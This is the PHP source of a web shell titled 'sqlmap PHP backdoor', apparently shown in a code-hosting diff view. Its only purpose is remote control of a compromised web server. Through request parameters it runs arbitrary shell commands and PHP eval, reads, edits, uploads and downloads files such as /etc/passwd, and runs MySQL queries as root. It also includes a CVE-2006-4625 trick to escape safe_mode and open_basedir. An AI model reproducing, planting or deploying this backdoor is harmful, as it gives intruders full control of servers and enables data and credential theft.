$css="body { background: #FFCC66; font-family: sans-serif; margin: auto; margin-bottom: 1em; margin-top: 1em; width: 95%; } a { color: #663300; text-decoration: none; } input, textarea { border: 1px solid gray; } pre { border: 1px dashed #663300; padding: 5px; background: #fffff0; } table { border-collapse: collapse; border: 1px solid #663300; background: #fffff0; width: 100%; } td, th { border: 1px solid #663300; padding: .3em; } thead th, tfoot th { border: 1px solid #663300; text-align: center; font-size: 1em; font-weight: bold; color: #663300; background: #FFCC66; } #maintitle { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .3em; text-align: center; } #leftbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .5em; width: 22%; float: left; position: relative; } #rightbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: 15px; width: 73%; float: right; position: relative; display:inline; }";
$cssEncoded=@urlencode($css);
function error($message) {
$completeMessage="<b>Error</b>: " . $message . ".";
die($completeMessage);
}
function getSymbolByQuantity($bytes) {
$symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
$exp=@floor(log($bytes)/log(1024));
return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp))));
}
function ex($command) {
$res='';
if (@function_exists('exec')) {
@exec($command, $res);
$res=@join("\n", $res);
}
elseif (@function_exists('shell_exec')) {
$res=@shell_exec($command);
}
elseif(@function_exists('system')) {
@ob_start();
@system($command);
$res=@ob_get_contents();
@ob_end_clean();
}
elseif (@function_exists('passthru')) {
@ob_start();
@passthru($command);
$res=@ob_get_contents();
@ob_end_clean();
}
elseif (@is_resource($f=@popen($command, "r"))) {
$res="";
while(!@feof($f)) {
$res .= @fread($f, 1024);
}
@pclose($f);
}
$res=@htmlspecialchars($res);
return $res;
}
if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">";
echo "<html><head>";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">";
echo "<meta name=\"author\" content=\"Bernardo Damele A. G.\">";
echo "<meta name=\"robots\" content=\"noindex,nofollow,noarchive\">";
echo "<style type=\"text/css\">" . $css . "</style><title>sqlmap PHP backdoor</title></head>";
echo "<body><div id=\"wrapper\" class=\"clearfix\"><div id=\"maintitle\"><h1>sqlmap PHP backdoor</h1></div><br><div id=\"leftbody\">";
echo "<p><b>System information</b>: <a href=\"" . $phpself . "?sysinfo\">here</a><br>";
echo "<b>PHP info</b>: <a href=\"" . $phpself . "?phpinfo\" target=\"_blank\">here</a><br>";
echo "<b>Send an email</b>: <a href=\"" . $phpself . "?mailForm\">here</a></p>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Read a file</b><br><input type=\"text\" name=\"readFile\" value=\"/etc/passwd\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Edit a file</b><br><input type=\"text\" name=\"editFile\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Download a file</b><br>Directory: <input type=\"text\" name=\"dir\" value=\"/etc\"><br>File: <input type=\"text\" name=\"download\" value=\"passwd\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"POST\" enctype=\"multipart/form-data\"><input type=hidden name=\"MAX_FILE_SIZE\" value=\"1000000000\"><b>Upload a file</b><br><input name=\"file\" type=\"file\"><br>to directory: <input type=\"text\" name=\"uploadDir\" value=\"/tmp\"><input type=\"submit\" name=\"upload\" value=\"upload\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Browse a directory</b><br><input type=\"text\" name=\"listDir\" value=\"/etc\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
echo "</div><div id=\"rightbody\">";
}
if (isset($_REQUEST["sysinfo"])) {
if (@strtolower(@substr(@PHP_OS, 0, 3)) == "win") {
$win=1;
}
else {
$win=0;
}
$safeMode=@ini_get("safe_mode");
$openBaseDir=@ini_get("open_basedir");
if ($safeMode || $openBaseDir) {
/**
* Exploit CVE: CVE-2006-4625
* Affected Software: PHP 5.1.6 / 4.4.4 < = x
* Advisory URL: http://securityreason.com/achievement_securityalert/42
* Try to restore to default value
*/
ini_restore("safe_mode");
ini_restore("open_basedir");
}
$magicQuotesGpc=@ini_get("magic_quotes_gpc");
$dir=@getcwd();
$total=@disk_total_space($dir);
$free=@disk_free_space($dir);
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
echo "</pre><b>Server uptime</b><br><pre>";
echo ex("uptime");
echo "</pre><b>Server time</b><br><pre>";
echo date("D, M d, h:iA");
echo "</pre><b>Disk space</b><br><pre>";
echo "Total space: " . getSymbolByQuantity($total) . "<br>";
echo "Free space: " . getSymbolByQuantity($free);
echo "</pre><b>Web server username</b><br><pre>";
echo (!$win) ? `id` . "<br>" : @get_current_user();
echo "</pre><b>PHP version</b><br><pre>" . @phpversion();
echo "</pre><b>PHP safe_mode</b><br><pre>";
echo ($safeMode) ? "ON<br>" : "OFF<br>";
echo "</pre><b>PHP open_basedir</b><br><pre>";
echo ($openBaseDir) ? "ON<br>" : "OFF<br>";
echo "</pre><b>PHP magic_quotes_gpc</b><br><pre>";
echo ($magicQuotesGpc) ? "ON<br>" : "OFF<br>";
echo "</pre><b>CPU information</b><br><pre>";
echo ex("cat /proc/cpuinfo");
echo "</pre><b>Memory information</b><br><pre>";
echo ex("cat /proc/meminfo");
echo "</pre><b>Open ports and active connections</b><br><pre>";
echo ex("netstat -nat");
echo "</pre><b>Network devices</b><br><pre>";
echo ex("/sbin/ifconfig -a");
echo "</pre><b>Processes</b><br><pre>";
echo ex("ps auxfww");
echo "</pre>";
}
else if(isset($_REQUEST["phpinfo"])) {
echo @phpinfo();
}
else if (isset($_REQUEST["readFile"])) {
$file=$_REQUEST["readFile"];
$fileHandler=@fopen($file, "rb") or error("Unable to read file <code>" . $file . "</code>");
$fileContent=@file_get_contents($file);
echo "<p>File: <code>" . $file . "</code><p>";
echo "<pre>" . @htmlspecialchars($fileContent) . "</pre>";
}
else if(isset($_REQUEST["editFile"])) {
$file=$_REQUEST["editFile"];
if (!$file) {
error("Specify the file to edit");
}
$fileHandler=@fopen($file, "rb") or error("Unable to read file <code>" . $file . "</code>");
$fileContent=@file_get_contents($file);
echo "<form action=$phpself method=POST>";
echo "File: <input type=text name=saveFile value=" . $file . " readonly=readonly><br><br>";
echo "<textarea name=contentFile cols=80 rows=40>";
echo $fileContent;
echo "</textarea><br><input type=submit value=Save>";
}
else if (isset($_REQUEST["saveFile"])) {
$file=$_REQUEST["saveFile"];
$newContent=$_REQUEST["contentFile"];
if (@is_writable($file)) {
$fileHandler=@fopen($file, "w+") or error("Unable to read file <code>" . $file . "</code>");
@fwrite($fileHandler, $newContent) or error("Unable to write on file <code>" . $file . "</code>");
echo "File <code>" . $file . "</code> successfully written";
@fclose($fileHandler);
}
else {
error("File <code>" . $file . "</code> is not writable");
}
}
else if (isset($_REQUEST["download"])) {
ob_clean();
$dir=$_REQUEST["dir"];
$file=$_REQUEST["download"];
$filename=$dir. "/" . $file;
$fileHandler=@fopen($filename, "rb") or error("Unable to read file <code>" . $file . "</code>");
$fileContent=@file_get_contents($filename);
header("Content-type: application/octet-stream");
header("Content-length: " . strlen($fileContent));
header("Content-disposition: attachment; filename=" . $file . ";");
echo $fileContent;
exit;
}
else if (isset($_REQUEST["upload"])) {
if (!isset($_REQUEST["uploadDir"])) {
error("Specify directory name (ig: /tmp)");
}
$dir=$_REQUEST["uploadDir"];
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or error("File upload error");
@chmod($dir . "/" . $file, 0755) or error("Unable to set file permission on <code>" . $file . "</code>");
echo "<p>File <code>" . $file . "</code> successfully uploaded to <code>" . $dir . "</code></p>";
}
else if (isset($_REQUEST["listDir"])) {
$dirToOpen=$_REQUEST["listDir"];
$dirHandler=@opendir($dirToOpen) or error("Unable to open directory");
echo "<p>Directory: <code>" . $dirToOpen . "</code></p>";
echo "<table border=1><tr><thead><th>Name</th><th>Permission</th><th>Owner/Group</th><th>Size</th><th>Read</th><th>Write</th><th>Download</th></thead></tr>";
$list=array();
while ($o=@readdir($dirHandler)) {
$list[]=$o;
}
@closedir($dirHandler);
@sort($list);
foreach ($list as $file) {
if ($file == ".") {
continue;
}
$linkToFile=$dirToOpen . "/" . $file;
$isdir=@is_dir($linkToFile);
$islink=@is_link($linkToFile);
$isfile=@is_file($linkToFile);
echo "<tr><tbody>";
if ($isdir) {
echo "<td><a href=$phpself?listDir=$linkToFile>";
}
else if ($isfile) {
echo "<td><a href=$phpself?readFile=$linkToFile>";
}
else {
echo "<td>$linkToFile";
}
echo "$linkToFile</a></td>";
echo "<td>" . @substr(@sprintf("%o", @fileperms($linkToFile)), -4) . "</td>";
$owner=@posix_getpwuid(@fileowner($linkToFile));
$group=@posix_getgrgid(@filegroup($linkToFile));
echo "<td>" . $owner["name"] . "/" . $group["name"] . "</td>";
if ($isdir) {
echo "<td>DIR</td>";
}
else if ($islink) {
echo "<td>LINK</td>";
}
else if ($isfile) {
echo "<td>" . @sprintf("%u", @filesize($linkToFile)) . " bytes</td>";
}
else {
echo "<td>Unknown</td>";
}
echo (@is_readable($linkToFile) && $isfile) ? "<td><a href=$phpself?readFile=$linkToFile>Read</a></td>" : "<td>-</td>";
echo (@is_writable($linkToFile) && $isfile) ? "<td><a href=$phpself?editFile=$linkToFile>Write</a></td>" : "<td>-</td>";
echo (@is_readable($linkToFile) && $isfile) ? "<td><a href=$phpself?dir=$dirToOpen&download=$file>Download</a></td>" : "<td>-</td>";
echo "</tr>";
}
}
else if (isset($_REQUEST["mailForm"])) {
echo "<form action=" . $phpself . " method=POST>";
echo "<input name=mail type=hidden><input type=hidden name=mail>";
echo "To: <input name=to type=text value=\"[email protected]\"><br><br>";
echo "Subject: <input name=subject type=text value=\"" . $_SERVER["HTTP_HOST"] . ": sqlmap PHP backdoor\"/><br><br>";
echo "Body:<br><textarea cols=80 rows=40 name=msg></textarea><br>";
echo "<input type=submit value=Send>";
}
else if (isset($_REQUEST["mail"])) {
$status=@mail($_REQUEST["to"], $_REQUEST["subject"], $_REQUEST["msg"]);
echo $status ? "Mail sent" : "Failed to send mail";
@exit;
}
else if (isset($_REQUEST["cmd"])) {
$cmd=$_REQUEST["cmd"];
echo "<p>Shell command: <code>" . $cmd . "</code></p>";
echo "<pre>" . ex($cmd) . "</pre>";
}
else if(isset($_REQUEST["phpcode"])) {
$code=$_REQUEST["phpcode"];
echo "<p>PHP command: <code>" . $code . "</code></p>";
echo "<pre>";
echo @eval("print_r($code);");
echo "</pre>";
}
else if (isset($_REQUEST["query"])) {
$host=$_REQUEST["host"];
$user=$_REQUEST["user"];
$password=$_REQUEST["password"];
$query=$_REQUEST["query"];
$link=@mysql_connect("$host", "$user", "$password");
if (!$link) {
error(@mysql_error());
}
$result=@mysql_query($query);
if (!$result) {
error(@mysql_error());
}
echo "<p>MySQL query: <code>" . $query . "</code></p>";
echo "<pre>";
while ($row=@mysql_fetch_array($result, MYSQL_ASSOC)) {
@print_r($row);
}
echo "</pre>";
@mysql_free_result($result);
}
if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
echo "</div></div></body></html>";
}
?>

Some files were not shown because too many files have changed in this diff Show More